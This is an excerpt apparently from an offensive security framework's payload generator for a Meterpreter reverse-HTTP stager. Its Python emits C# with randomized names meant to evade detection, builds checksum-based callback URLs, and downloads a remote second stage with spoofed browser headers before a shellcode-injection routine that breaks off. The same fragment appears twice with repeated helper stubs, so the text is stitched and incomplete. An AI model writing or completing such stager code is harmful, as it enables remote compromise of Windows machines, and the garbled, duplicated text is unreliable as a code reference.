# Path: lib/common/helpers.py
# def clean_payloads():
# def color(string, status=True, warning=False, bold=True, yellow=False):
# def check_int(incoming_int):
# def randomString(length=-1):
# def randomKey(b=32):
# def randomNumbers(b=7):
# def validate_hostname(hostname):
# def validate_ip(ip_address):
# def validate_port(port_number):
# 
# Path: Tools/Bypass/bypass_common/bypass_helpers.py
# def deflate(string_val):
# def compileToTemp(language, payloadSource):
# def expiring_payload_variables():
# def format_long(title, message, frontTab=True, spacing=16):
# def inflate(b64string):
# def LHOST():
# def obfuscateNum(N, mod):
# def print_dict_message(commands, show_title=True):
# def randomString(length=-1):
# def title_screen():
# 
# Path: Tools/Bypass/bypass_common/gamemaker.py
# def senecas_games(bypass_payload):


from lib.common import helpers
from Tools.Bypass.bypass_common import bypass_helpers
from Tools.Bypass.bypass_common import gamemaker
import random
        payload_code += "static string %s(Random r) { string %s = \"\";\n" %(genHTTPChecksumName,baseStringName)
        payload_code += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" %(baseStringName,randomStringName)
        payload_code += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" %(randCharsName,randChars)
        payload_code += "for (int j = 0; j < %s.Length; ++j) {\n" %(randCharsName)
        payload_code += "string %s = %s + %s[j];\n" %(urlName,baseStringName,randCharsName)
        payload_code += "if (%s(%s)) {return %s;}}} return \"9vXU\";}"%(checksum8Name,urlName, urlName)


        # code for getData() function
        getDataName = bypass_helpers.randomString()
        strName = bypass_helpers.randomString()
        webClientName = bypass_helpers.randomString()
        sName = bypass_helpers.randomString()

        payload_code += "static byte[] %s(string %s) {\n" %(getDataName,strName)
        payload_code += "WebClient %s = new System.Net.WebClient();\n" %(webClientName)
        payload_code += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" %(webClientName)
        payload_code += "%s.Headers.Add(\"Accept\", \"*/*\");\n" %(webClientName)
        payload_code += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" %(webClientName)
        payload_code += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" %(webClientName)
        payload_code += "byte[] %s = null;\n" %(sName)
        payload_code += "try { %s = %s.DownloadData(%s);\n" %(sName, webClientName, strName)
        payload_code += "if (%s.Length < 100000) return null;}\n" %(sName)
        payload_code += "catch (WebException) {}\n"
        payload_code += "return %s;}\n" %(sName)


        # code fo the inject() function to inject shellcode
        injectName = bypass_helpers.randomString()
        sName = bypass_helpers.randomString()

# Path: lib/common/helpers.py
# def clean_payloads():
# def color(string, status=True, warning=False, bold=True, yellow=False):
# def check_int(incoming_int):
# def randomString(length=-1):
# def randomKey(b=32):
# def randomNumbers(b=7):
# def validate_hostname(hostname):
# def validate_ip(ip_address):
# def validate_port(port_number):
# 
# Path: Tools/Bypass/bypass_common/bypass_helpers.py
# def deflate(string_val):
# def compileToTemp(language, payloadSource):
# def expiring_payload_variables():
# def format_long(title, message, frontTab=True, spacing=16):
# def inflate(b64string):
# def LHOST():
# def obfuscateNum(N, mod):
# def print_dict_message(commands, show_title=True):
# def randomString(length=-1):
# def title_screen():
# 
# Path: Tools/Bypass/bypass_common/gamemaker.py
# def senecas_games(bypass_payload):


# Path: Tools/Bypass/payloads/installutil/meterpreter/rev_http.py
from lib.common import helpers
from Tools.Bypass.bypass_common import bypass_helpers
from Tools.Bypass.bypass_common import gamemaker
import random

        payload_code += "static string %s(Random r) { string %s = \"\";\n" %(genHTTPChecksumName,baseStringName)
        payload_code += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" %(baseStringName,randomStringName)
        payload_code += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" %(randCharsName,randChars)
        payload_code += "for (int j = 0; j < %s.Length; ++j) {\n" %(randCharsName)
        payload_code += "string %s = %s + %s[j];\n" %(urlName,baseStringName,randCharsName)
        payload_code += "if (%s(%s)) {return %s;}}} return \"9vXU\";}"%(checksum8Name,urlName, urlName)


        # code for getData() function
        getDataName = bypass_helpers.randomString()
        strName = bypass_helpers.randomString()
        webClientName = bypass_helpers.randomString()
        sName = bypass_helpers.randomString()

        payload_code += "static byte[] %s(string %s) {\n" %(getDataName,strName)
        payload_code += "WebClient %s = new System.Net.WebClient();\n" %(webClientName)
        payload_code += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" %(webClientName)
        payload_code += "%s.Headers.Add(\"Accept\", \"*/*\");\n" %(webClientName)
        payload_code += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" %(webClientName)
        payload_code += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" %(webClientName)
        payload_code += "byte[] %s = null;\n" %(sName)
        payload_code += "try { %s = %s.DownloadData(%s);\n" %(sName, webClientName, strName)
        payload_code += "if (%s.Length < 100000) return null;}\n" %(sName)
        payload_code += "catch (WebException) {}\n"
        payload_code += "return %s;}\n" %(sName)


        # code fo the inject() function to inject shellcode
        injectName = bypass_helpers.randomString()
        sName = bypass_helpers.randomString()

        funcAddrName = bypass_helpers.randomString()